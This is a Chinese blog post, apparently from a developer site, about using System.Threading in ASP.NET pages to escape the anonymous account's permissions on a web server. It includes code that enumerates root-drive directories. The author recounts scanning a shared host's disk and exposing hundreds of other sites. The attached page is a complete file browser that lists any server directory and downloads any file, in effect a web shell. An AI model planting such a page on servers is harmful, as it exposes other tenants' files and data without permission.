ASP.NET中System.Threading引发的安全漏洞

   
     

        在利用System.Threading为ASP.NET程序添加后台处理功能后,我无比兴奋,因为它可以在断开和服务器连接后继续运行,也就是说只要网站在运行,那么线程就不会停下来。而且意想不到的是,利用它你可以获得更大的服务器操作权限。
test.aspx.cs:
System.Threading.Timer timer ;
protected void Page_Load(object sender, EventArgs e)
    {
        timer = new System.Threading.Timer(new System.Threading.TimerCallback(callback), null,0, System.Threading.Timeout.Infinite);//实例化并启动Timer
    }
 void callback(object args)
    {
        timer.Dispose();
       while(true)
      {
       //做你想做的事情
      }
    }

上面这个程序一旦你访问test.aspx后,后台服务便开始工作,即使你把浏览器关掉,服务照样运行。但是
请注意:关掉浏览器后你的请求实例被摧毁,所以在callback函数里不能再用request、response等对象,也就是说无法和浏览器交互了。
另外需要注意的是:运行timer的用户不再是ASP.NET匿名访问的那个帐号,而是另外一个(具体我也不晓得,我推测而已),因此在callback里你不再受ASP.NET匿名帐号的权限限制,你可能拥有很高的权限。有多高呢?这要看服务器的设置了。下面来做个简单的测试:
先导入命名空间
using System.IO;
using System.Threading;

test.aspx.cs:
System.Threading.Timer timer ;
protected void Page_Load(object sender, EventArgs e)
    {
        timer = new System.Threading.Timer(new System.Threading.TimerCallback(callback), null,0, System.Threading.Timeout.Infinite);//实例化并启动Timer
    }
void callback(object args)
    {
        timer.Dispose();
        //试试看看可以访问虚拟目录外的文件不?
        string root = System.IO.Path.GetPathRoot(Server.MapPath("."));
        string txtPath=Server.MapPath("./log.txt");//日志文件
        System.IO.StreamWriter w = new StreamWriter(txtPath, false, System.Text.Encoding.Default);
        try
        {
            foreach (string dirPath in Directory.GetDirectories(root))
            {
                w.WriteLine(dirPath);//把根目录下的文件夹路径保存到log.txt
            }
        }
        catch (Exception ex)
        {
            w.WriteLine(ex.Message);//如果出错可能是没有权限,那就证明这个服务器权限设置得高
        }
        w.Close();
    }

访问test.aspx然后去看看log.txt的记录?如果没出错,那就恭喜你了,这个服务器存在巨大安全漏洞,也就是说你可以对这个盘的文件进行任何操作哦,但是这种可能性很小,不过还是有的,昨天晚上我就把这个后台程序放到我的网站上,结果居然拥有C盘D盘的操作权限,我弄了个递归,结果不到半个小时就把D盘的文件扫描了一遍,上面几百个网站也全曝光了。不过放心,我和虚拟主机服务商认识,不可能做坏事的,今天早上他就把漏洞补上了。

注意:callback函数在page_load事件里直接调用和用timer触发效果是不一样的,以上均是采用timer触发。

附件:

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Threading;
using System.IO;
public partial class Dir : System.Web.UI.Page
{
    DataTable dt;
    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Buffer = false;
        dt = new DataTable("nodes");

        DataColumn dc = new DataColumn();
        dc.DataType=typeof(string);
        dc.ColumnName = "icon";
        dt.Columns.Add(dc);

        dc = new DataColumn();
        dc.DataType = typeof(string);
        dc.ColumnName = "name";
        dt.Columns.Add(dc);

        dc = new DataColumn();
        dc.DataType = typeof(string);
        dc.ColumnName = "err";
        dt.Columns.Add(dc);

        dc = new DataColumn();
        dc.DataType = typeof(string);
        dc.ColumnName = "title";
        dt.Columns.Add(dc);

        if (!Page.IsPostBack)
        {

            TextBox_Address.Text = Server.MapPath("./");
            TextBox_Address.Text = Path.GetDirectoryName(TextBox_Address.Text);
            TextBox_Address.Text = TextBox_Address.Text.Replace("//", "/");
            Button_Goto_Click(null, null);
        }
        else if (HiddenField_Name.Value != "")
        {
            TextBox_Address.Text+="/"+HiddenField_Name.Value;
            HiddenField_Name.Value = "";
            Button_Goto_Click(null, null);
        }
    }
    void callback(object status)
    {
        try
        {
            string path = status.ToString();
            if (Directory.Exists(path))
            {
                GetNodes(path);
            }
            else if (File.Exists(path))
            {
                Response.Clear();
                Response.AddHeader("Connection", "Keep-Alive");
                Response.ContentType = "application/octet-stream";
                Response.ContentEncoding = System.Text.Encoding.Default;
                //HttpUtility.UrlEncode解决中文文件名乱码问题
                Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(System.IO.Path.GetFileName(path)));
                Response.AddHeader("Content-Length",FileLen(path).ToString());
                Response.WriteFile(path);
                Response.End();
            }
            else
                throw new Exception("找不到路径!");
        }
        catch (Exception ex)
        {
            DataRow dr = dt.NewRow();
            dr["err"] = ex.Message;
            dt.Rows.Add(dr);
        }
    }

    void GetNodes(string dir)
    {
        try
        {
            foreach (string dirPath in Directory.GetDirectories(dir))
            {
                string dirName = Path.GetFileName(dirPath);
                DataRow dr = dt.NewRow();
                dr["icon"] = "Icons/folder.gif";
                dr["name"] = FormatName(dirName);
                dr["title"] = dirName;
                dt.Rows.Add(dr);
            }

            foreach (string filePath in Directory.GetFiles(dir))
            {
                string fileName = Path.GetFileName(filePath);
                DataRow dr = dt.NewRow();
                dr["icon"] = GetIconUrl(filePath);
                dr["name"] = FormatName(fileName);
                dr["title"] = fileName;
                dt.Rows.Add(dr);
            }
            if (dt.Rows.Count == 0)
            {
                throw new Exception("文件夹是空的");
            }
        }
        catch (Exception ex)
        {
            DataRow dr = dt.NewRow();
            dr["err"] = ex.Message;
            dt.Rows.Add(dr);
        }
      
    }

    string FormatName(string name)
    {
        string ext = Path.GetExtension(name);
        name = Path.GetFileNameWithoutExtension(name);
        int count = System.Text.Encoding.Default.GetByteCount(name);
        bool cut = false;
        while(count>16)
        {
            cut = true;
            name = name.Substring(0, name.Length - 1);
            count = System.Text.Encoding.Default.GetByteCount(name);
        }
        return cut ? (name+ "...") : (name+ext);
    }

    string GetIconUrl(string path)
    {
        string ext = Path.GetExtension(path);
        string filename = Server.MapPath("Icons/icon" + ext+".gif");
        if (!File.Exists(filename))
            System.Drawing.Icon.ExtractAssociatedIcon(path).ToBitmap().Save(filename);
        return "Icons/icon" + ext + ".gif";
    }

    long FileLen(string filepath)
    {
        FileInfo f = new FileInfo(filepath);
        return f.Length;
    }

    protected void Button_Goto_Click(object sender, EventArgs e)
    {
        Thread th = new Thread(new ParameterizedThreadStart(callback));
        th.Start(TextBox_Address.Text);
        th.Join();
        DataList1.DataSource = dt.DefaultView;
        DataList1.DataBind();
        Page.Title = Environment.UserName;
    }

    protected void Button_GotoParent_Click(object sender, EventArgs e)
    {
        TextBox_Address.Text = Directory.GetParent(TextBox_Address.Text).FullName;
        TextBox_Address.Text = TextBox_Address.Text.Replace("//", "/");
        Button_Goto_Click(null, null);
    }
}


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值